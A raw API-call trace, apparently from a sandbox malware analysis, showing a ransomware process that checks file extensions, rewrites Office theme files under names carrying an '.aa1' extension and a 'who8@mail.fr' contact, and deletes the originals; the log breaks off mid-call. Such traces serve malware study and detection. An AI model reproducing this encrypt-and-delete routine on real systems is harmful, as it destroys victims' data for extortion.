1 [0222.005] lstrlenW (lpString=".rar") returned 4 [0222.005] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.005] lstrlenW (lpString=".bz2") returned 4 [0222.005] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.005] lstrlenW (lpString=".7z") returned 3 [0222.005] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString=".dbf") returned 4 [0222.005] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString=".1cd") returned 4 [0222.005] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString=".jpg") returned 4 [0222.005] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString=".doc") returned 4 [0222.006] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.006] lstrlenW (lpString=".docx") returned 5 [0222.006] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.006] lstrlenW (lpString=".pdf") returned 4 [0222.006] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.006] lstrlenW (lpString=".xls") returned 4 [0222.006] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.006] lstrlenW (lpString=".xlsx") returned 5 [0222.006] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.006] lstrlenW (lpString=".ppt") returned 4 [0222.006] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.006] lstrlenW (lpString=".zip") returned 4 [0222.006] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.006] lstrlenW (lpString=".rar") returned 4 [0222.006] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.006] lstrlenW (lpString=".bz2") returned 4 [0222.006] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.006] lstrlenW (lpString=".7z") returned 3 [0222.006] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.006] lstrlenW (lpString=".dbf") returned 4 [0222.006] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.006] lstrlenW (lpString=".1cd") returned 4 [0222.006] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.006] lstrlenW (lpString=".jpg") returned 4 [0222.006] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.007] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.007] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.007] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1354) returned 1 [0222.007] CloseHandle (hObject=0x1f8) returned 1 [0222.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 0x20 [0222.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.008] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.008] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0222.028] GetLastError () returned 0x0 [0222.028] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x54a, lpOverlapped=0x0) returned 1 [0222.095] WriteFile (in: hFile=0x224, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x550, lpOverlapped=0x0) returned 1 [0222.096] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.096] WriteFile (in: hFile=0x224, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.097] SetEndOfFile (hFile=0x224) returned 1 [0222.097] CloseHandle (hObject=0x224) returned 1 [0222.097] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.097] SetEndOfFile (hFile=0x1f8) returned 1 [0222.098] CloseHandle (hObject=0x1f8) returned 1 [0222.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.098] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif")) returned 1 [0222.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.105] lstrlenW (lpString=".doc") returned 4 [0222.105] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.105] lstrlenW (lpString=".docx") returned 5 [0222.105] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.105] lstrlenW (lpString=".pdf") returned 4 [0222.105] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.105] lstrlenW (lpString=".xls") returned 4 [0222.105] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.105] lstrlenW (lpString=".xlsx") returned 5 [0222.105] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.105] lstrlenW (lpString=".ppt") returned 4 [0222.106] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString=".zip") returned 4 [0222.106] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.106] lstrlenW (lpString=".rar") returned 4 [0222.106] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.106] lstrlenW (lpString=".bz2") returned 4 [0222.106] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.106] lstrlenW (lpString=".7z") returned 3 [0222.106] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString=".dbf") returned 4 [0222.106] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString=".1cd") returned 4 [0222.106] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString=".jpg") returned 4 [0222.106] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.106] lstrlenW (lpString=".doc") returned 4 [0222.106] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.106] lstrlenW (lpString=".docx") returned 5 [0222.106] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.106] lstrlenW (lpString=".pdf") returned 4 [0222.106] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.106] lstrlenW (lpString=".xls") returned 4 [0222.107] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.107] lstrlenW (lpString=".xlsx") returned 5 [0222.107] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.107] lstrlenW (lpString=".ppt") returned 4 [0222.107] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.107] lstrlenW (lpString=".zip") returned 4 [0222.107] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.107] lstrlenW (lpString=".rar") returned 4 [0222.107] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.107] lstrlenW (lpString=".bz2") returned 4 [0222.107] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.107] lstrlenW (lpString=".7z") returned 3 [0222.107] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.107] lstrlenW (lpString=".dbf") returned 4 [0222.107] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.107] lstrlenW (lpString=".1cd") returned 4 [0222.107] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0222.107] lstrlenW (lpString=".jpg") returned 4 [0222.107] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.107] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.108] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.197] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2552) returned 1 [0222.197] CloseHandle (hObject=0x1a0) returned 1 [0222.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0222.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.197] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.197] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.627] GetLastError () returned 0x0 [0222.627] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0222.640] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0222.640] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.641] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.641] SetEndOfFile (hFile=0x21c) returned 1 [0222.641] CloseHandle (hObject=0x21c) returned 1 [0222.641] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.641] SetEndOfFile (hFile=0x1a0) returned 1 [0222.642] CloseHandle (hObject=0x1a0) returned 1 [0222.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.642] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.642] lstrlenW (lpString=".doc") returned 4 [0222.642] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.642] lstrlenW (lpString=".docx") returned 5 [0222.642] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.642] lstrlenW (lpString=".pdf") returned 4 [0222.642] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.642] lstrlenW (lpString=".xls") returned 4 [0222.643] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.643] lstrlenW (lpString=".xlsx") returned 5 [0222.643] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.643] lstrlenW (lpString=".ppt") returned 4 [0222.643] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.643] lstrlenW (lpString=".zip") returned 4 [0222.643] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.643] lstrlenW (lpString=".rar") returned 4 [0222.643] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.643] lstrlenW (lpString=".bz2") returned 4 [0222.643] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.643] lstrlenW (lpString=".7z") returned 3 [0222.643] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.643] lstrlenW (lpString=".dbf") returned 4 [0222.643] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".1cd") returned 4 [0222.644] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".jpg") returned 4 [0222.644] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".doc") returned 4 [0222.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.644] lstrlenW (lpString=".docx") returned 5 [0222.644] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.644] lstrlenW (lpString=".pdf") returned 4 [0222.644] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString=".xls") returned 4 [0222.644] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString=".xlsx") returned 5 [0222.644] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.644] lstrlenW (lpString=".ppt") returned 4 [0222.644] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".zip") returned 4 [0222.644] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString=".rar") returned 4 [0222.644] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0222.644] lstrlenW (lpString=".bz2") returned 4 [0222.644] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0222.644] lstrlenW (lpString=".7z") returned 3 [0222.644] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".dbf") returned 4 [0222.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0222.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.644] lstrlenW (lpString=".1cd") returned 4 [0222.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0222.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0222.645] lstrlenW (lpString=".jpg") returned 4 [0222.645] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0222.645] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0222.645] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0222.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.645] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1232) returned 1 [0222.645] CloseHandle (hObject=0x1a0) returned 1 [0222.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0222.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0222.646] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.646] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.647] GetLastError () returned 0x0 [0222.647] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0222.711] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0222.712] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.712] WriteFile (in: hFile=0x21c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.712] SetEndOfFile (hFile=0x21c) returned 1 [0222.712] CloseHandle (hObject=0x21c) returned 1 [0222.712] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.713] SetEndOfFile (hFile=0x1a0) returned 1 [0222.713] CloseHandle (hObject=0x1a0) returned 1 [0222.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0222.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.714] lstrlenW (lpString=".doc") returned 4 [0222.714] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0222.714] lstrlenW (lpString=".docx") returned 5 [0222.714] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0222.714] lstrlenW (lpString=".pdf") returned 4 [0222.714] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0222.714] lstrlenW (lpString=".xls") returned 4 [0222.714] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0222.714] lstrlenW (lpString=".xlsx") returned 5 [0222.714] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0222.714] lstrlenW (lpString=".ppt") returned 4 [0222.714] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0222.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0222.714] lstrlenW (lpString=".zip") returned 4 [0222.714] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0222.714] lstrlenW (lpString=".rar") returned 4 [0222.714] lstrcmpiW (lpString1=".rar", lpString2=".GIF") 